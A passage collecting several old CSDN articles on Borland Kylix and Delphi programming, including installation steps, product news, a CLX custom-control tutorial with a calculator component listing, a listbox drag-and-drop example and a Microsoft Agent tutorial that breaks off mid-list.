之后会出现许可证协议
点击 "I Agree"
选择安装的路径及安装选项，点击 "Begin Install"，接下来等待一断时间

安装完成！点击Exit退出。

好了，就这样了安装完了，装完后先试试可不可以用，打开从菜单里选择Kylix，CPU只是挣扎了几下，终于有了反应。出现：

100%后终于出现下面的启动封面，和Delphi6是不是差不多？
哇！IDE终于出现了，真的是Delphi，要不是上面写着Kylix，还以是在windows2000下运行Delphi呢

点击运行，一切都运行良好！Borland果然了得！！！

注：以上是正式版的安装，如果是下载的Beta版的，其安装方法是一样的。不过有时可能要注意时间，有些Beta限定了使用时间，还有不支持中文，我的正式版不知道行不行，还没来得及去试。下载的Beta版一般有三个文件kylix.cue,kylix.bin,kylix.txt,其中.bin文件可用winimage，IsoBuster之类的工具解开。

Kylix试用版已经开放下载,有兴趣试用的朋友可以到 http://register.borland.com/ 注册试用

附： 本文可能自由转贴，转贴请注明出处：编程任我行(http://yousoft.home.chinaren.com)，徐长友


CSDN_文档中心_kylix开发工具铺平Linux应用之路

Linux开发工具的发展必将带动Linux软件的企业级应用。

    【互联网周刊消息】LinuxWorld China 2001大会的主题在Linux开发、服务及管理运作方面向企业级应用迈进了一步，同时也凸显出Linux开发工具渐成今后Linux发展的重矢之的。
    Borland 软件公司中国区销售总经理林锋先生表示：“Linux的发展需要软件的带动，而开发工具则因此推动软件的应用。” Borland 软件公司一直致力于在Linux 开发、应用、服务及管理运作方面的工作。去年，Borland公司正式推出了Kylix计划的第一款产品——Jbuilder，从而使开发人员拥有了Linux平台上的可视化快速开发工具。后来还推出了Kylix——Borland极负盛名的开发工具Delphi的Linux版。Linux上的应用程序因Kylix计划而变得丰富起来。

Kylix 将 Borland 软件公司最优秀的编译器技术与高效可视化设计环境结合在一起，进行 GUI、Web 程序和数据库程序开发，是目前Linux 平台上唯一拥有以上优点的开发工具。Kylix在用户界面、数据库、Web和网络功能方面为Linux的开发者提供了可以和Windows开发环境相媲美的丰富的函数库。Kylix还可帮助编程人员非常容易地将那些运行在Windows上的 程序转换到Linux上运行。业内有关专家评价，随着 Kylix 的发布，Linux 程序开发环境将得到很大的改进。它彻底改变了把大量单调乏味的工作留给用户去手动完成的 IDE 环境。
    此外，Borland 软件公司今年6月在京发布Windows快速应用开发(RAD)环境的新版本——Delphi 6，作为帮助开发人员轻松使用和创建行业标准Web Services的第一款RAD工具。在与Borland Kylix环境配合使用时，Delphi 6用户可以为Windows和Linux构建单一源应用程序，这进一步带来了新机遇，同时也提高了开发投资的潜在回报。开发者为Windows开发的软件可以很轻松地使用Borland Kylix移植到Linux系统中去，同样道理，用Kylix开发的应用程序也可以方便地移植到Windows下。
    Linux已经成为一个新的市场增长点，这个商机是任何厂商都不愿放过的。在国内市场上，政府已经宣布将Linux作为标准操作系统使用 ，并为Linux厂商提供宽松的外部环境，Borland 无疑是抢占先机。由于Borland是唯一一家推出了Linux本机快速应用开发工具的软件公司，因此中国很有可能成为Borland的潜在的大市场。


CSDN_文档中心_Kylix预览

Cross-platform Controls

From Windows to Linux, and Back

These are exciting times for Borland. Not since the first whisper of Delphi has there been this much excitement about a Borland product. I'm talking, of course, about Kylix, the project to bring C++Builder and Delphi to the Linux operating system. The Delphi version will be available first, so for the rest of this article, Kylix refers to Delphi for Linux.

We're developing a new VCL that will work with the Windows and Linux versions of Delphi. This means you can write an application in Windows, then move the source to a Linux box and recompile it - or vice versa. This new VCL is named CLX, for Component Library Cross-Platform. CLX encompasses the entire cross-platform library distributed with Kylix. There are a few sub-categories, which, as of this writing, break down as follows:

  • BaseCLX is the RTL, up to, and including, Classes.pas.
  • VisualCLX includes the user interface classes, i.e. the usual controls.
  • DataCLX comprises the cross-platform database components.
  • NetCLX includes the Internet stuff, e.g. Apache, etc.

At the time of this writing [early May 2000], the first Field Test for Kylix is just beginning. By the time you read this, there will be a big difference between the Kylix I'm using and working on, and the version you'll see when it's available. This makes my job all that more difficult. It would be easy to talk in generalities, waxing eloquent about the underlying architecture. I'd much rather discuss the details, however, so you can get a head start producing CLX controls. Just keep in mind that it's likely some of the particulars discussed in this article will have changed by the time you read it.

No One Else Comes Close

This article is a primer on writing custom VisualCLX controls. Essentially, the VisualCLX is what you know and love about the VCL. When you think about it, Visual Component Library is a bit of a misnomer; there's a lot more to it than the visual components. In this article, however, I'm only going to write about the visual controls. The Button, Edit, ListBox, PageControl, StatusBar, ProgressBar, etc. controls, have all been re-implemented to be cross-platform. How did we do this when the current VCL relies so much on Windows? In brief, we ripped out all the Windows stuff, and replaced it with another toolkit.

In Linux, there are a number of toolkits that contain the standard windowing controls, such as Buttons. They're called widgets, and GTK and Qt (pronounced "cute") are two of the more popular. Qt is a Linux widget toolkit that works on Windows and Linux. Because it aligned most closely with our goals, Qt was chosen as the basis for CLX. In other words, Qt is to CLX what the Windows API and common controls are to the VCL. Qt has some definite positives for the Delphi custom component developer on Linux:

  • It's a prevalent Linux widget set, used by the popular KDE desktop.
  • It's similar to the Windows API style of development.
  • Its graphics model is close to the VCL's graphics model.
  • Its classes look very much like VCL components.
  • It introduces many standard widgets, and handles the message loop.

This begs two questions: Does this mean that Kylix supports only KDE, and no other desktops, such as Gnome? And how does using Qt as the basis of CLX affect me? The answer to the first question is that Kylix applications will run under any Linux desktop - particularly Gnome and KDE. The rest of this article answers the second question.

Don't Want You Back

The goal is to make it easy for developers to port their applications to Linux with the least amount of trouble. Most of the component names are the same, and most of the properties are the same. Although a few properties will be missing from some components, and a few new ones will be added, for the most part, it should be fairly painless to port your applications.

For component writers, it's a different story. For starters, there is no Windows.pas, nor Windows API (see Figure 1). You can say good-bye to the message directive, and all of the CN and CM notifications. These have been changed to dynamics. There is also no docking, bi-directional (BiDi) methods/properties, input method editor (IME), or Asian support in the first release. Of course, there's no ActiveX, COM, or OLE support. Windows 3.1 components are also out, as I write this.

Methods

CreateParams

CreateSubClass

CreateWindowHandle

CreateWnd

DestroyWindowHandle

DestroyWnd

DoAddDockClient

DockOver

DoDockOver

DoRemoveDockClient

DoUnDock

GetDeviceContext

MainWndProc

ResetIme

ResetImeComposition

SetIme

SetImeCompositionWindow

WndProc

Properties

Ctl3D

DefWndProc

DockManager

DockSite

ImeMode

ImeName

ParentCtl3D

UseDockManager

WheelAccumulator

Figure 1: Methods and properties missing from TWidgetControl (formerly known as TWinControl).

By now I bet you're thinking, "That's not so bad; porting my components doesn't sound too difficult." But wait - there's more. At the time of this writing, the CLX unit names have all been changed to include "Q" as a prefix. So StdCtrls is now QStdCtrls, some classes have shuffled around a bit, and there are some subtle differences in the hierarchy (see Figure 2).

Figure 2: The differences in the class hierarchy are subtle.

The CLX prefix of "Q" may or may not end up as the permanent prefix in the final release. TWinControl is now a TWidgetControl, but to ease the pain we added a TWinControl alias to TWidgetControl. TWidgetControl and descendants all have a Handle property that is an opaque reference to the Qt object; and a Hooks property, which is a reference to the hook objects that handle the event mechanism. (Hooks are part of a complex topic that is outside the scope of this article.)

OwnerDraw will be replaced with a new idea called Styles. Styles are basically a mechanism whereby a widget or application can take on a whole new look, similar to skins in Windows. This is something that's still in development, so I'm not going to discuss it further in this article. I will say this: It's way cool.

Is anything the same? Sure. TCanvas is the same as you remember, with its collection of Pens and Brushes. As I mentioned, the class hierarchy is basically the same, and events, such as OnMouseDown, OnMouseMove, OnClick, etc., are still there.

Show Me the Meaning ...

Let's move on to the meat of CLX, and see how it works. Qt is a C++ toolkit, so all of its widgets are C++ objects. On the other hand, CLX is written in Object Pascal, and Object Pascal can't talk directly to C++ objects. To make matters a little more difficult, Qt uses multiple inheritance in a few places. So we created an interface layer that takes all of the Qt classes and reduces them to a series of straight C functions. These are then wrapped up in a DLL in Windows and a shared object in Linux.

Every TWidgetControl has CreateWidget, InitWidget, and HookEvents virtual methods that almost always have to be overridden. CreateWidget creates the Qt widget, and assigns the Handle to the FHandle private field variable. InitWidget gets called after the widget is constructed, and the Handle is valid. Some of your property assignments will move from the Create constructor to InitWidget. This will allow delayed construction of the Qt object until it's really needed. For example, say you have a property named Color. In SetColor, you can check with HandleAllocated to see if you have a Qt handle. If the Handle is allocated, you can make the proper call to Qt to set the color. If not, you can store the value in a private field variable, and, in InitWidget, you set the property.

There are two types of events: Widget and System. HookEvents is a virtual method that hooks the CLX controls event methods to a special hook object that communicates with the Qt object. (At least that's how I like to look at it.) The hook object is really just a set of method pointers. System events now go through EventHandler, which is basically a replacement for WndProc.

Larger Than Life

All of this is just background information, because you really don't need to know it in order to write cross-platform custom controls. It helps, but with CLX, writing cross-platform controls is a snap. Just as you didn't have to understand the complexities of the Windows API to write a VCL control, the same goes for CLX and Qt. Listing One shows a custom control written with CLX. [It's available for download; see end of article for details.]

The project file, CalcTest.dpr, is shown in Figure 3. The calculator control running in Windows (shown in Figure 4), and in Linux (shown in Figure 5) looks much like the standard Microsoft Windows calculator.

program CalcTest;

uses

SysUtils, Classes, QControls, QForms, QStdCtrls, Qt,

QComCtrls, QCalc, Types;

type

TTestForm = class(TForm)

Calc: TCalculator;

public

constructor Create(AOwner: TComponent); override;

end;

var

TestForm: TTestForm;

{ TTestForm }

constructor TTestForm.Create(AOwner: TComponent);

begin

inherited CreateNew(AOwner);

SetBounds(10,100,640,480);

Calc := TCalculator.Create(Self);

// Don't forget: we have to set the parent.

Calc.Parent := Self;

Calc.Top := 100;

Calc.Left := 200;

// Uncomment these to try other Border effects:

// Calc.BorderStyle := bsEtched;

end;

begin

Application := TApplication.Create(nil);

Application.CreateForm(TTestForm, TestForm);

TestForm.Show;

Application.Run;

end.

Figure 3: The project file for the CLX calculator control.

Figure 4: The calculator in Windows at run time.

Figure 5: The control at run time, as it appears on Red Hat Linux.

As you can see, TCalculator is a descendant of TFrameControl. TFrameControl is a new control introduced to the hierarchy under TWidgetControl that provides a frame for your controls. The property we're most interested in is BorderStyle:

TBorderStyle = (bsNone, bsSingle, bsDouble, bsRaisedPanel,bsSunkenPanel,

bsRaised3d, bsSUnken3d, bs Etched, bsEmbossed);

There are two important methods in this control. BuildCalc creates all of the buttons, and places them in their proper locations. As you can see, I used an enumerator named TButtonType to hold the "function" of the button, and this tidbit of information is stored as an integer in the Tag property. I refer to this later in the Calc method. All of the calculator buttons are stored in a protected array of TButtonRecord records named Btns:

TButtonRecord = record

Top: Integer;

Left: Integer;

Width: Integer;

Height: Integer;

Caption: string;

Color: TColor;

end;

This makes it easy to set up all of the buttons in a loop, rather than using an ugly bunch of TButton.Create calls. Notice that the buttons' OnClick handlers get assigned to the TCalculator's Calc method. It's alright to do a direct assignment to what is typically a user event, because all of these buttons are internal to the calculator, and these events won't be published (see Figure 6).

for i := Low(TButtonType) to High(TButtonType) do

with TButton.Create(Self) do begin

Parent := Self;

SetBounds(Btns[i].Left, Btns[i].Top, Btns[i].Width,

Btns[i].Height);

Caption := Btns[i].Caption;

Color := Btns[i].Color;

OnClick := Calc;

Tag := Ord(i);

end;

Figure 6: A direct assignment to a user event is okay in this case.

I have a TLabel called FStatus. TLabel also descends from TFrameControl. I wanted it in the calculator, so I could get the "sunken box" look for the memory display like the Windows calculator. The Qt label widget is really a lot like the VCL TPanel component. For the TLabel in CLX, we don't publish the frame properties, but that doesn't stop you from using them in your descendants.

The last thing I do in BuildCalc is to create the edit control to display the results of the calculation. As you can see, the Text property of the calculator hooks directly to the Text property of the Edit control.

The other main method is Calc, which is essentially a huge case statement that evaluates which button was pushed, and decides what to do about it. I use the private field variables FCurrentValue, FLastValue, and FRepeatValue to handle the value of the calculations, so I don't have to implement a stack. The idea was to show how to create a cross-platform control, not how to write a calculator.

Oh yeah! Remember, that I used the Tag property in BuildCalc to hold its function? That's retrieved in this method by casting the Sender to a TButton, and casting the Tag back to a TButtonType. ButtonType is the selector expression of the case statement:

ButtonType := TButtonType(TButton(Sender).Tag);

Are you wondering how we convert this to a cross-platform control? No? Good! That means you've been paying attention. This code will compile in Windows and Linux with absolutely no changes. There are no extra steps involved. Just by the virtue of using CLX, this control is ready to go.

All I Have to Give

As you can see, writing a cross-platform control isn't all that different from writing a VCL component. If you're a new component developer, it won't be difficult to learn. If you're an experienced VCL component builder, most of your knowledge will transfer to Kylix nicely.

As I said earlier, there are a lot of differences, but that should only affect developers who have components that rely on the Windows API. If you wrote a control that was a descendant of a VCL control, an aggregate of a few controls (as I did here with TCalculator), a non-visual component that doesn't rely on the Windows API, or was a TGraphic control, then you shouldn't have much trouble porting it to Linux.

This article describes features of software products that are in development and subject to change without notice. Description of such features here is speculative and does not constitute a binding contract or commitment of service.

The files referenced in this article are available for download.

Involved as a user of Delphi since the initial beta, Robert Kozak is a member of the Kylix R&D team and has been with Borland since the later half of 1999. Since he joined Borland, he has been involved in the development of C++Builder 5 and Kylix. Robert was involved with the start of TaDDA! (Toronto Area Delphi Developers Association), which later merged with TDUG (Toronto Delphi Users Group). Robert continues to stay active in the user community, and is active on the Borland newsgroups.

Begin Listing One - QCalc.pas

{ ***************************************************** }

{ }

{ Borland Delphi Visual Component Library }

{ Borland Delphi Component Library (X)Crossplatform }

{ }

{ Copyright (c) 2000 Inprise/Borland }

{ }

{ ***************************************************** }

unit QCalc;

// This is the very first Custom control written for CLX.

interface

uses

Sysutils, Classes, QT, QControls, QStdCtrls, QComCtrls,

QGraphics;

type

TButtonType = (bt0, bt1, bt2, bt3, bt4, bt5, bt6, bt7,

bt8, bt9, btDecimal, btPlusMinus, btMultiply, btDivide,

btAdd, btSubtract, btSqrt, btPercent, btInverse,

btEquals, btBackspace, btClear, btClearAll,

btMemoryRecall, btMemoryStore, btMemoryClear,

btMemoryAdd);

TCalcState = (csNone, csAdd, csSubtract, csMultiply,

csDivide);

TButtonRecord = record

Top: Integer;

Left: Integer;

Width: Integer;

Height: Integer;

Caption: string;

Color: TColor;

end;

TCalculator = class(TFrameControl)

private

FResultEdit: TEdit;

FStatus: TLabel;

FMemoryValue: Single;

FCurrentValue: Single;

FLastValue: Single;

FRepeatValue: Single;

FState: TCalcState;

FBackSpaceValid: Boolean;

protected

Btns: array [TButtonType] of TButtonRecord;

procedure BuildCalc;

procedure Calc(Sender: TObject);

function GetText : string; override;

procedure SetText(const Value : string); override;

public

constructor Create(AOwner: TComponent); override;

property Value : Single read FCurrentValue;

published

property Text : string read GetText write SetText;

property BorderStyle;

property LineWidth;

property Margin;

property MidLineWidth;

property FrameRect;

end;

implementation

function ButtonRecord(aTop, aLeft, aWidth,

aHeight: Integer; aCaption: string;

aColor: TColor = clBtnFace): TButtonRecord;

begin

Result.Top := aTop;

Result.Left := aLeft;

Result.Width := aWidth;

Result.Height := aHeight;

Result.Caption := aCaption;

Result.Color := aColor;

end;

{ TCalculator }

constructor TCalculator.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

SetBounds(0,0,250,200);

FMemoryValue := 0;

FCurrentValue := 0;

FLastValue := 0;

FRepeatValue := 0;

BorderStyle := bsRaisedPanel;

BuildCalc;

end;

procedure TCalculator.BuildCalc;

var

i: TButtonType;

begin

Btns[bt7] := ButtonRecord(70, 48, 36, 29, '7');

Btns[bt4] := ButtonRecord(102, 48, 36, 29, '4');

Btns[bt1] := ButtonRecord(134, 48, 36, 29, '1');

Btns[bt0] := ButtonRecord(166, 48, 36, 29, '0');

Btns[bt8] := ButtonRecord(70, 88, 36, 29, '8');

Btns[bt5] := ButtonRecord(102, 88, 36, 29, '5');

Btns[bt2] := ButtonRecord(134, 88, 36, 29, '2');

Btns[btPlusMinus] :=

ButtonRecord(166, 88, 36, 29, '+/-');

Btns[bt9] := ButtonRecord(70, 128, 36, 29, '9');

Btns[bt6] := ButtonRecord(102, 128, 36, 29, '6');

Btns[bt3] := ButtonRecord(134, 128, 36, 29, '3');

Btns[btDecimal] := ButtonRecord(166, 128, 36, 29, '.');

Btns[btDivide] := ButtonRecord(70, 168, 36, 29, '/');

Btns[btMultiply] := ButtonRecord(102, 168, 36, 29, '*');

Btns[btSubtract] := ButtonRecord(134, 168, 36, 29, '-');

Btns[btAdd] := ButtonRecord(166, 168, 36, 29, '+');

Btns[btBackspace] :=

ButtonRecord(37, 49, 63, 25, 'Backspace');

Btns[btClear] := ButtonRecord(37, 115, 63, 25, 'CE');

Btns[btClearAll] := ButtonRecord(37, 181, 63, 25, 'C');

Btns[btsqrt] := ButtonRecord(70, 208, 36, 29, 'sqrt');

Btns[btPercent] := ButtonRecord(102, 208, 36, 29, '%');

Btns[btInverse] := ButtonRecord(134, 208, 36, 29, '1/x');

Btns[btEquals] := ButtonRecord(166, 208, 36, 29, '=');

Btns[btMemoryAdd] := ButtonRecord(166, 5, 36, 29, 'M+');

Btns[btMemoryStore] :=

ButtonRecord(134, 5, 36, 29, 'MS');

Btns[btMemoryRecall] :=

ButtonRecord(102, 5, 36, 29, 'MR');

Btns[btMemoryClear] := ButtonRecord(70, 5, 36, 29, 'MC');

for i := Low(TButtonType) to High(TButtonType) do

with TButton.Create(Self) do begin

Parent := Self;

SetBounds(Btns[i].Left, Btns[i].Top, Btns[i].Width,

Btns[i].Height);

Caption := Btns[i].Caption;

Color := Btns[i].Color;

OnClick := Calc;

Tag := Ord(i);

end;

FStatus := TLabel.Create(Self);

with FStatus do begin

Parent := Self;

SetBounds(10, 38, 25, 25);

BorderStyle := bsRaisedPanel;

end;

FResultEdit := TEdit.Create(Self);

FResultEdit.Parent := Self;

FResultEdit.SetBounds(5, 5, 240, 25);

FResultEdit.Alignment := taRightJustify;

FResultEdit.Font.Height := -13;

FResultEdit.Font.Name := 'Arial';

FResultEdit.Text := '0';

end;

procedure TCalculator.Calc(Sender: TObject);

const

MemoryStoreMap: array [Boolean] of string = (' M','');

var

ButtonType: TButtonType;

Temp: string;

TempValue: Single;

begin

ButtonType := TButtonType(TButton(Sender).Tag);

try

case ButtonType of

bt0..bt9:

begin

FBackSpaceValid := True;

if (FResultEdit.Text = '0') or

(FCurrentValue = 0) then

FResultEdit.Text := '';

FResultEdit.Text :=

FResultEdit.Text + Btns[ButtonType].Caption;

FCurrentValue := StrToFloat(FResultEdit.Text);

FRepeatValue := 0;

end;

btDecimal:

if Pos('.', FResultEdit.Text) < 1 then begin

FCurrentValue := StrToFloat(FResultEdit.Text);

FLastValue := 0;

FResultEdit.Text :=

FResultEdit.Text + Btns[ButtonType].Caption;

end;

btPlusMinus:

begin

FCurrentValue := StrToFloat(FResultEdit.Text);

FCurrentValue := FCurrentValue * -1;

FResultEdit.Text := FloatToStr(FCurrentValue);

end;

btClearAll:

begin

FCurrentValue := 0;

FLastValue := 0;

FResultEdit.Text := '0';

FState := csNone;

end;

btClear:

begin

FCurrentValue := 0;

FResultEdit.Text := '0';

end;

btAdd:

begin

FCurrentValue := StrToFloat(FResultEdit.Text);

FState := csAdd;

FLastValue := FCurrentValue;

FCurrentValue := 0;

end;

btSubtract:

begin

FCurrentValue := StrToFloat(FResultEdit.Text);

FState := csSubtract;

FLastValue := FCurrentValue;

FCurrentValue := 0;

end;

btDivide:

begin

FCurrentValue := StrToFloat(FResultEdit.Text);

FState := csDivide;

FLastValue := FCurrentValue;

FCurrentValue := 0;

end;

btMultiply:

begin

FCurrentValue := StrToFloat(FResultEdit.Text);

FState := csMultiply;

FLastValue := FCurrentValue;

FCurrentValue := 0;

end;

btBackSpace:

if FBackSpaceValid then begin

Temp := FResultEdit.Text;

Delete(Temp, Length(Temp),1);

if Temp = '' then

Temp := '0';

FCurrentValue := StrToFloat(Temp);

FResultEdit.Text := FloatToStr(FCurrentValue);

end;

btInverse:

begin

FCurrentValue := StrToFloat(FResultEdit.Text);

FCurrentValue := 1 / FCurrentValue;

FResultEdit.Text := FloatToStr(FCurrentValue);

end;

btPercent:

begin

FCurrentValue := StrToFloat(FResultEdit.Text);

FCurrentValue := FCurrentValue / 100;

FResultEdit.Text := FloatToStr(FCurrentValue);

end;

btSqrt:

begin

FCurrentValue := StrToFloat(FResultEdit.Text);

FCurrentValue := Sqrt(FCurrentValue);

FResultEdit.Text := FloatToStr(FCurrentValue);

end;

btMemoryStore:

begin

FMemoryValue := StrToFloat(FResultEdit.Text);

FMemoryValue := FMemoryValue * 1;

FCurrentValue := 0;

end;

btMemoryAdd:

begin

TempValue := FMemoryValue;

FMemoryValue := StrToFloat(FResultEdit.Text);

FMemoryValue := (FMemoryValue * 1) + TempValue;

end;

btMemoryRecall:

begin

FResultEdit.Text := FloatToStr(FMemoryValue);

FCurrentValue := 0;

end;

btMemoryClear:

begin

FMemoryValue := 0;

end;

btEquals:

if FState <> csNone then begin

FBackSpaceValid := False;

FCurrentValue := StrToFloat(FResultEdit.Text);

if FRepeatValue = 0 then begin

FRepeatValue := FCurrentValue;

FCurrentValue := FLastValue;

end;

FLastValue := FRepeatValue;

case FState of

csAdd:

FCurrentValue := FCurrentValue + FLastValue;

csMultiply:

FCurrentValue := FCurrentValue * FLastValue;

csSubtract:

FCurrentValue := FCurrentValue - FLastValue;

csDivide:

FCurrentValue := FCurrentValue / FLastValue;

end;

FLastValue := FCurrentValue;

FResultEdit.Text := FloatToStr(FCurrentValue);

FCurrentValue := 0;

end;

end; // case ButtonType of...

except

on E: Exception do begin

FResultEdit.Text := E.Message;

FLastValue := 0;

FCurrentValue := 0;

FRepeatValue := 0;

FState := csNone;

end;

end;

FStatus.Caption := MemoryStoreMap[FMemoryValue = 0];

end;

function TCalculator.GetText: string;

begin

Result := FResultEdit.Text;

end;

procedure TCalculator.SetText(const Value: string);

begin

FResultEdit.Text := Value;

end;

end.


CSDN_文档中心_Linux的开发利器，Kylix

Linux的开发利器，Kylix
2001-08-22 15:00:00· 伊秋水· chinabyte

1 2 3 4 下一页

前言

    Linux可以说是IT业的一个奇迹，对于它的存在，任何一个业内人士都不敢等闲视之。目前，Linux面临的最大问题就是应用程序太少，不能满足各个领域使用者的需求，这是Linux很难战胜Windows的主要原因之一。虽然，随着许多公司和编程爱好者的加入，这种局面正在得到改观，但是，由于IT业一日千里的发展速度，Linux迫切需要一个高效的IDE（整合开发工具）。Windows的发展，导致了目前世界上使用最为广泛的编程语言——VB的产生。那么Linux的流行，又会产生什么呢？现在答案已经有了，那就是Kylix。

初识Kylix

    Kylix是Borland公司的又一力作，Borland一直以Borland C++、Delphi、C++ Builder、JBuilder等系列开发工具著称，Kylix秉承了Borland完善的可视化IDE开发环境，强大的调试功能和丰富的VCL构件，简直就是一个Linux下的Delphi。Kylix的推出，对于Linux今后的发展，显然具有重要的意义。

    Kylix集成了目前世界上最快速的编译器，可视化的GUI环境，WEB和数据库应用软件的开发，特点可概括为：高效的Linux内码应用软件（高效的执行代码、可重用的目标库、内置的汇编语言、动态调用库）、快速的IDE（开发环境）、代码自动生成和检查、先进的集成化调试 、完善的文档和帮助文件、强大的构件开发（提供CLX接口）、提供构件代码、、开放式的数据库接口等。

    Kylix使得Windows上运行的许多程序可以移植到Linux上运行，用Kylix写成的Linux程序也可以在Windows上运行。它隐藏了编制Linux软件的复杂性，编程者们可以使用165个名叫CLX的软件组件更容易地制作菜单、按钮和连接数据库以及设计出其它的特征。Kylix的推出，对于一般用户而言，结果是显而易见的，即会用上越来越多优秀的Linux应用软件。

Delphi的继承者

    对于专业程序员来说，要开发一个多平台的商业应用程序有很多种途径，但是它们实现起来都不太容易。所以，跨平台开发工具往往倍受关注，Java正是由于其平台无关性博得了广大程序员的青睐。

    Kylix在进行商业开发时，给公司提供了一个易于学习且非常高效的开发环境。和Java一样，Kylix在用户界面、数据库、Web和网络功能方面为Linux的开发者提供了可以和Windows开发环境相媲美的丰富的函数库。由于和Delphi、 C/C++和 Visual Basic非常的相似，所以它对有经验的程序开发人员极具吸引力。Borland在Kylix里加入一些在标准Java里没有的功能，即优化原生代码编译器和RAD（rapid application development）环境。很显然，对于Delphi和Linux的开发者而言，Kylix是一个具有很大技术潜力的开发工具。

    在商业应用上，Kylix在应用平台间面临着一些挑战。首先，Delphi开发人员要想将其应用程序移植到Kylix，就要将其代码润色得更加简洁，这是一件比较费时的事。其次，大多数Linux开发人员，他们已经在使用C++、Java和Perl开发应用程序，现在要转而使用Kylix，对他们来说，就意味着要学习一门新的开发语言，且要熟悉很多只能在Kylix中使用的库函数。这很有可能推迟他们选择使用Kylix的时间。不过有一点可以肯定，任何一个开发群体都很难抵御Linux环境下这一强大、快捷的开发工具，人们接受它，只是时间的问题。

1 2 3 4 下一页


CSDN_文档中心_Linux上最新的Kylix截屏画面

最新的Kylix截屏画面

Scotts Valley, CA,2000-6-22 - Inprise/Borland 公布了Kylix最新Building的KDE(the K Desktop Environment)下的四幅截屏画面。Kylix是Inprise/Borland 的内部项目代码，该项目将把Delphi与C++ Builder带向Linux平台。该产品第一版的产品名称还未确定，但它本质上是Delphi for Linux，跟着就会有该产品的C++ Builder版。发布日期还未确定。

简言之，Kylix要为Linux所做的就是Delphi已为Windows所做的。另外—更重要的是—它将成为一个跨平台的工具，该工具使得可以很容易地生成可以在Windows，Linux或者两者下能运行应用程序。大多数应用程序，只要不使用Windows特别的调用，如Win32API,就只需要在另一个平台上重新编译一次便可运行。

Linux上的4幅截屏画面

  www.delphidevelopers.com


CSDN_文档中心_listbox多选状态下的自拖与互拖

unit Unit1;

file://yanlei:E_mail yanleiigis@21cn.com

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
ListBox1: TListBox;
ListBox2: TListBox;
procedure ListBox1DragDrop(Sender, Source: TObject; X, Y: Integer);
procedure ListBox1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.ListBox1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
var
aPoint: TPoint;
begin
aPoint.x := x;
aPoint.y := y;

if (source is Tlistbox) then
if ((source as Tlistbox).SelCount > 0) and
((sender as Tlistbox).ItemAtPos(apoint, true) <> -1)
and ((sender as Tlistbox).itematpos(apoint, true) <> (sender as Tlistbox).itemindex) then
begin
accept := true;
end;
end;

procedure TForm1.ListBox1DragDrop(Sender, Source: TObject; X, Y: Integer);
var
aPoint: TPoint;
st: string;
p: integer;
i, num: integer;
MYlBox: TStrings;
begin
aPoint.x := x;
aPoint.y := y;

p := (sender as Tlistbox).itematpos(aPoint, true);

MYlBox := Tstringlist.Create;
try
Num := (source as Tlistbox).Items.Count;
for i := num - 1 downto 0 do
begin
if (source as Tlistbox).Selected[i] then
begin
st := (source as Tlistbox).Items[i];
MYlBox.Add(st)

end;
end;
if p > -1 then
begin
for i := 0 to Mylbox.Count - 1 do
begin

(sender as Tlistbox).Items.Insert(p, mylbox[i])

end;
end
else
begin
for i := Mylbox.Count - 1 downto 0 do
begin
(sender as Tlistbox).Items.Add(mylbox[i])

end;

end;
(source as Tlistbox).DeleteSelected;
if P > -1 then
(sender as Tlistbox).Selected[p] := true;
finally
mylbox.Free;
end;

end;

procedure TForm1.FormCreate(Sender: TObject);
begin
listbox2.OnDragDrop := listbox1.OnDragDrop;
listbox2.OnDragOver := listbox1.OnDragOver;
listbox1.MultiSelect := true;
listbox2.MultiSelect := true;
listbox1.DragMode := dmAutomatic;
listbox2.DragMode := dmAutomatic;

end;

end.


CSDN_文档中心_Microsoft Agent 学习笔记 （一）

Microsoft Agent 学习笔记 （一）

Microsoft Agnet是一组可编程的软件服务， 用来管理一些角色(Character)，这些角色通过动画、声音

来同计算机用户交流，使用最新的技术，他们甚至可以听懂人的话，也就是说，用户可以用声音控制他们，

这使得应用程序的操作方式更符合人的行为方式。

    虽然Microsoft对于Agent最成功的使用是Office Asistant, 它用来提供上下文帮助和使用向导，但是可以把

Agent使用在任何地方，譬如一般的应用程序和游戏中。在本文和后面的文章中，我将简单的介绍一下它的使用。

MS Agent组件包含了一组对象，它们分别是Request, Agent(control), Characters (collection), Character,

Commands(collection),Command,Balloon,AnimationNames(collection),SpeechInput,AudioOutput,CommandsWindow,

PropertySheet。本篇先介绍Agent(control), Characters(collection), Request三个对象，其他对象以后再作介绍。

MS Agent组件包含了一组对象，它们分别是Request, Agent(control), Characters (collection), Character,

Commands(collection),Command,Balloon,AnimationNames(collection),SpeechInput,AudioOutput,CommandsWindow,

PropertySheet。本篇先介绍Agent(control), Characters(collection), Request三个对象，其他对象以后再作介绍。

Agent(control)--通过它，我们可以访问到Microsoft Agent支持的大部分对象和事件。它有几个重要的属性和方法，

包括:Connected属性， Characters属性。

unit AgentDemo;

uses

AgentObjects_TLB; //引用Delphi导入的TypeInfo unit

const

RequestSuccessfully = 0

RequestFailed = 1;

RequestPending = 2;

RequestInterrupted = 3;

RequestInProgress = 4;

var

Agent1: TAgent; //声明TAgent类型的变量Agent1

IAgnt: IAgentCtlEx;

Merlin: IAgentCtlCharacterEx;

IReq: IAgentCtlRequest;

begin

Agent1 := TAgent.Create;

IAgnt := Agent1.ControlInterface; //取得IAgentCtlEx接口

IAgnt.Connected := True; //连接到Microsoft Agent Server

IReq := IAgnt.Characters.Load('Merlin', 'Merlin.acs'); //加载Merlin角色

Merlin := IAgnt.Characters.Character('Merlin'); //取得Merlin的Character接口

Merlin.Show(False); //显示Merlin

IReq := Merlin.Play('Congratulate_2'); //让Merlin鼓掌

if IReq.Status <> RequestSuccessfully then //判断Merlin当前的状态，如果鼓掌动画//还没有完成就停掉它

Merlin.Stop;

Merlin.Speak('Hello, guys', ''); //让Merlin说话

Merlin.Hide; //隐藏Merlin

IAgnt.Characters.Unload('Merlin'); //卸载Merlin

IAgnt.Connected := False; //与Microsoft Agent Server断开连接

Agent1.Free;

end;

说明：Request Object用来同步对Character的访问，对Character的访问，如Load, Get, Play, Speak都会产生一个Request,

IAgentCtlRequest的Status属性有五个值，分别是

0：请求已经完成

1：请求失败

2：请求已经提交，但是还没有完成

